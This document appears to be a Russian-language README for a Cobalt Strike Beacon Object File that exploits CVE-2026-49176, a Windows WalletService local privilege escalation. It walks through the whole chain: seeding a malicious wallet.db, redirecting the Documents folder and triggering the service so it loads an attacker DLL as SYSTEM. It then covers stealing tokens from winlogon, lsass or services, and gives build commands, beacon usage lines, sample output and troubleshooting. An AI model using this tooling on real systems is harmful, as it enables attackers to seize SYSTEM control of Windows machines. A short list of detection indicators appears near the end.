
CVE-2026-49176 WalletService LPE — автономный PoC + Cobalt Strike BOF (команда SYSTEM в интерактивной сессии)
Cobalt Strike Beacon Object File (BOF) для локального повышения привилегий через Windows WalletService (CVE-2026-49176, исправлено в июле 2026 года).
Из Beacon со средним уровнем целостности (обычный пользователь) этот инструмент подготавливает вредоносную ESE-базу Wallet, перенаправляет Documents, запускает WalletService и выполняет указанную вызывающим командную строку как NT AUTHORITY\SYSTEM на интерактивном рабочем столе.
Только BOF.
Оригинальный автономный PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC. Тот же корень уязвимости; другой способ доставки и запуска процесса после получения SYSTEM.
Только для авторизованных исследований в области безопасности, обучения и защитной проверки.
WalletService разрешает FOLDERID_Documents, олицетворяя вызывающего, затем возвращается к LocalSystem перед открытием:
<Documents>\Wallet\wallet.db
Обычный пользователь может заполнить эту базу ESE определённым пользователем обратным вызовом по умолчанию (PATH\payload.dll!Export), указать Documents на контролируемый каталог и вызвать WinRT WalletManager.RequestStoreAsync / GetItemsAsync, чтобы служба загрузила DLL как SYSTEM.
Подробный разбор: Разработка эксплойта CVE-2026-49176: WalletService → SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService часто использует фильтрованный токен SYSTEM (нет доступных SeAssignPrimaryToken / SeImpersonate). Прямой CreateProcess* → 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
wallet_callback.dll + shell_broker.exe через bof_pack("bbZ")result.txt| Компонент | Требование |
|---|
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| Команда | Результат |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | только DLL + broker |
build.bat clean | Удалить артефакты |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
Отредактируйте пути VCVARS64 в build.bat, если VS установлена не по умолчанию.
Критически важные флаги: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (безопасность компоновщика CS BOF).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Перезагружайте после каждой пересборки.)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= может быть winlogon, services, lsass или путём к брокеру.
Documents восстанавливается даже при сбое, если перенаправление прошло успешно.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL обратного вызоваOpenProcess / токен-API против winlogon/lsass/servicesCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW в интерактивные сеансы| Ссылка | Описание |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | Оригинальный автономный PoC LPE (исходный исследовательский PoC) |
| Подробный разбор | Оригинальная исследовательская статья |
| Этап | Оригинальный PoC | Этот BOF |
|---|
| Заполнение ESE БД | wallet_ese_seed.exe | В BOF Jet*A |
| Перенаправление Documents | documents_path.exe | В BOF SHGet/SetKnownFolderPath |
| Запуск Wallet | PowerShell WinRT | В BOF RoGetActivationFactory |
| DLL обратного вызова | wallet_callback_shell.dll | wallet_callback.dll |
| Оригинальный PoC | Этот BOF |
|---|
| Целевой процесс | Жёстко заданный cmd.exe | Командная строка, указанная оператором |
| Основной метод | Временная служба → shell_broker.exe → CreateProcessAsUserW | Кража токена у winlogon / services / lsass → запуск |
| Запасной вариант | Нет | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| Beacon | x64, средний уровень целостности (без повышения прав) |
| Цель | Уязвимый WalletService (до патча июля 2026 года) |
| CS | Cobalt Strike 4.x с поддержкой BOF |
| Сборка | VS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT) |
| Лог | Значение |
|---|
JetAddColumn: -1003 | Проблема с параметрами ESE |
error=1314 | Фильтрованный SYSTEM; нужна кража токена / брокер |
STEAL_FAIL error=5 | Не удалось открыть целевой процесс/токен |
StartService error=32 | Нарушение совместного доступа (обойдено через cmd-обёртку) |
detail=all_methods | Все стратегии после получения SYSTEM не удались |
Linker Unknown symbol '??_C@_...' | Неверные флаги сборки BOF; пересоберите с помощью build.bat |